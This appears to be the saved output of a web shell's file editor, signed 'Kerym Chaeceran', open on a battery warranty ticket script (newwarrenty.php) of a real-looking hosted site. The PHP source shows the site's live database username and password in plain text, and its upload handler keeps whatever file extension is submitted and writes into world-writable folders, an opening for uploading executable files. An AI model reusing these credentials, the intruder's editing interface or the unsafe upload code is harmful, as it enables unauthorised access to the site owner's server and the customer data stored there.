<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: newwarrenty.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>


&lt;?php
error_reporting(E_ALL);
ini_set(&#039;display_errors&#039;, 1);
session_start();
$host = &quot;localhost&quot;;
$db = &quot;sytiqhub_battery_service&quot;;
$user = &quot;sytiqhub_EMP&quot;;
$pass = &quot;j*3vvh0TqrFK&quot;;

$conn = new mysqli($host, $user, $pass, $db);
if ($conn-&gt;connect_error) {
    die(&quot;DB Connection failed: &quot; . $conn-&gt;connect_error);
}

$success_message = &#039;&#039;;
if (isset($_SESSION[&#039;success_message&#039;])) {
    $success_message = $_SESSION[&#039;success_message&#039;];
    unset($_SESSION[&#039;success_message&#039;]);
}
$error_message = &#039;&#039;;

if (isset($_POST[&#039;register_ticket&#039;])) {
    $customer_name = trim($_POST[&#039;customer_name&#039;]);
    $mobile_number = trim($_POST[&#039;mobile_number&#039;]);
    $battery_id = trim($_POST[&#039;battery_id&#039;]);
    $purchase_date = trim($_POST[&#039;purchase_date&#039;]);
    $issue_description = trim($_POST[&#039;issue_description&#039;]);

    if (empty($customer_name) || empty($mobile_number) || empty($battery_id) || empty($purchase_date) || empty($issue_description)) {
        $error_message .= &quot;All fields are required.&lt;br&gt;&quot;;
    }

    if (!isset($_FILES[&#039;battery_image&#039;]) || $_FILES[&#039;battery_image&#039;][&#039;error&#039;] !== 0) {
        $error_message .= &quot;Battery image is required.&lt;br&gt;&quot;;
    }

    if (!isset($_FILES[&#039;lr_slip&#039;]) || $_FILES[&#039;lr_slip&#039;][&#039;error&#039;] !== 0) {
        $error_message .= &quot;LR slip is required.&lt;br&gt;&quot;;
    }

    // Check for open ticket with same barcode
    $stmt_check = $conn-&gt;prepare(&quot;SELECT id FROM service_tickets WHERE battery_id = ? AND status != &#039;Closed&#039;&quot;);
    $stmt_check-&gt;bind_param(&quot;s&quot;, $battery_id);
    $stmt_check-&gt;execute();
    $stmt_check-&gt;store_result();
    if ($stmt_check-&gt;num_rows &gt; 0) {
        $error_message .= &quot;An open ticket already exists for this battery barcode.&lt;br&gt;&quot;;
    }
    $stmt_check-&gt;close();

    // File paths
    $battery_image_path = null;
    $lr_slip_path = null;

    if (!$error_message) {
        if (!is_dir(&#039;uploads/battery_images&#039;)) mkdir(&#039;uploads/battery_images&#039;, 0777, true);
        if (!is_dir(&#039;uploads/lr_slips&#039;)) mkdir(&#039;uploads/lr_slips&#039;, 0777, true);

        $ext1 = pathinfo($_FILES[&#039;battery_image&#039;][&#039;name&#039;], PATHINFO_EXTENSION);
        $battery_image_path = &#039;uploads/battery_images/&#039; . uniqid() . &#039;.&#039; . $ext1;
        move_uploaded_file($_FILES[&#039;battery_image&#039;][&#039;tmp_name&#039;], $battery_image_path);

        $ext2 = pathinfo($_FILES[&#039;lr_slip&#039;][&#039;name&#039;], PATHINFO_EXTENSION);
        $lr_slip_path = &#039;uploads/lr_slips/&#039; . uniqid() . &#039;.&#039; . $ext2;
        move_uploaded_file($_FILES[&#039;lr_slip&#039;][&#039;tmp_name&#039;], $lr_slip_path);

        $stmt = $conn-&gt;prepare(&quot;INSERT INTO service_tickets (customer_name, mobile_number, battery_id, purchase_date, issue_description, battery_image, lr_slip, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, &#039;Open&#039;, NOW())&quot;);
        $stmt-&gt;bind_param(&quot;sssssss&quot;, $customer_name, $mobile_number, $battery_id, $purchase_date, $issue_description, $battery_image_path, $lr_slip_path);

        if ($stmt-&gt;execute()) {
            $ticket_id = $stmt-&gt;insert_id;
            $stmt-&gt;close();

            $init_status = &#039;Open&#039;;
            $init_remarks = &#039;Ticket created&#039;;

            $stmt = $conn-&gt;prepare(&quot;INSERT INTO ticket_status_history (ticket_id, status, remarks, updated_at) VALUES (?, ?, ?, NOW())&quot;);
            $stmt-&gt;bind_param(&quot;iss&quot;, $ticket_id, $init_status, $init_remarks);
            $stmt-&gt;execute();
            $stmt-&gt;close();

            $_SESSION[&#039;success_message&#039;] = &quot;Service ticket created successfully! Your Ticket ID is: &quot; . $ticket_id;
            header(&quot;Location: &quot; . $_SERVER[&#039;PHP_SELF&#039;]);
            exit();
        } else {
            $error_message = &quot;Failed to insert service ticket: &quot; . $stmt-&gt;error;
        }
    }
}
?&gt;

&lt;?php include &#039;header.php&#039;; ?&gt;

&lt;div class=&quot;container my-5&quot;&gt;
    &lt;h1 class=&quot;mb-4&quot;&gt;Battery Service Tracker&lt;/h1&gt;

    &lt;?php if (!empty($success_message)): ?&gt;
        &lt;div class=&quot;alert alert-success&quot;&gt;&lt;?= htmlspecialchars($success_message) ?&gt;&lt;/div&gt;
    &lt;?php endif; ?&gt;

    &lt;?php if (!empty($error_message)): ?&gt;
        &lt;div class=&quot;alert alert-danger&quot;&gt;&lt;?= $error_message ?&gt;&lt;/div&gt;
    &lt;?php endif; ?&gt;

    &lt;div class=&quot;row&quot;&gt;
        &lt;!-- Register Ticket --&gt;
        &lt;div class=&quot;col-md-6 mb-4&quot;&gt;
            &lt;h3&gt;Register Battery Issue&lt;/h3&gt;
            &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; class=&quot;border p-3 rounded&quot; novalidate&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;customer_name&quot; class=&quot;form-label&quot;&gt;Customer Name&lt;/label&gt;
                    &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;customer_name&quot; id=&quot;customer_name&quot; required /&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;mobile_number&quot; class=&quot;form-label&quot;&gt;Mobile Number&lt;/label&gt;
                    &lt;input type=&quot;tel&quot; class=&quot;form-control&quot; name=&quot;mobile_number&quot; id=&quot;mobile_number&quot; pattern=&quot;\d{10,15}&quot; required /&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;battery_id&quot; class=&quot;form-label&quot;&gt;Battery Barcode&lt;/label&gt;
                    &lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;battery_id&quot; id=&quot;battery_id&quot; required /&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;purchase_date&quot; class=&quot;form-label&quot;&gt;Purchase Date&lt;/label&gt;
                    &lt;input type=&quot;date&quot; class=&quot;form-control&quot; name=&quot;purchase_date&quot; id=&quot;purchase_date&quot; required /&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;issue_description&quot; class=&quot;form-label&quot;&gt;Issue Description&lt;/label&gt;
                    &lt;textarea class=&quot;form-control&quot; name=&quot;issue_description&quot; id=&quot;issue_description&quot; rows=&quot;3&quot; required&gt;&lt;/textarea&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;battery_image&quot; class=&quot;form-label&quot;&gt;Battery Image&lt;/label&gt;
                    &lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;battery_image&quot; id=&quot;battery_image&quot; accept=&quot;image/*&quot; required /&gt;
                &lt;/div&gt;
                &lt;div class=&quot;mb-3&quot;&gt;
                    &lt;label for=&quot;lr_slip&quot; class=&quot;form-label&quot;&gt;LR Slip&lt;/label&gt;
                    &lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;lr_slip&quot; id=&quot;lr_slip&quot; accept=&quot;.pdf,.jpg,.jpeg,.png&quot; required /&gt;
                &lt;/div&gt;
                &lt;button type=&quot;submit&quot; name=&quot;register_ticket&quot; class=&quot;btn btn-primary&quot;&gt;Register Issue&lt;/button&gt;
            &lt;/form&gt;
        &lt;/div&gt;

        &lt;!-- Track Ticket --&gt;
        &lt;div class=&quot;col-md-6&quot;&gt;
            &lt;h3&gt;Track Service Tickets by Mobile Number&lt;/h3&gt;
            &lt;form method=&quot;get&quot; class=&quot;border p-3 rounded mb-3&quot; onsubmit=&quot;event.preventDefault(); loadTickets(true);&quot;&gt;
                &lt;div class=&quot;input-group&quot;&gt;
                    &lt;input type=&quot;tel&quot; name=&quot;track_mobile&quot; id=&quot;track_mobile&quot; class=&quot;form-control&quot; placeholder=&quot;Enter mobile number&quot; pattern=&quot;\d{10,15}&quot; required /&gt;
                    &lt;button type=&quot;submit&quot; class=&quot;btn btn-success&quot;&gt;Track&lt;/button&gt;
                &lt;/div&gt;
            &lt;/form&gt;
            &lt;div id=&quot;ticketResults&quot;&gt;
                &lt;div class=&quot;text-muted&quot;&gt;Enter a mobile number to track tickets.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
function loadTickets(showMessage = false) {
    const mobileField = document.getElementById(&#039;track_mobile&#039;);
    if (!mobileField) return;
    const mobile = mobileField.value.trim();
    if (!mobile || mobile.length &lt; 10) {
        if (showMessage) {
            document.getElementById(&#039;ticketResults&#039;).innerHTML = &#039;&lt;div class=&quot;text-danger&quot;&gt;Please enter a valid mobile number.&lt;/div&gt;&#039;;
        }
        return;
    }
    fetch(`fetch_tickets.php?track_mobile=${encodeURIComponent(mobile)}`)
        .then(res =&gt; res.text())
        .then(html =&gt; {
            document.getElementById(&#039;ticketResults&#039;).innerHTML = html;
        });
}

setInterval(() =&gt; {
    const mobile = document.getElementById(&#039;track_mobile&#039;)?.value.trim();
    if (mobile &amp;&amp; mobile.length &gt;= 10) {
        loadTickets();
    }
}, 30000);
&lt;/script&gt;

&lt;?php include &#039;footer.php&#039;; ?&gt;


</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/sytiqhub/sytiqhubev.com/newwarrenty.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fsytiqhub%2Fsytiqhubev.com' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>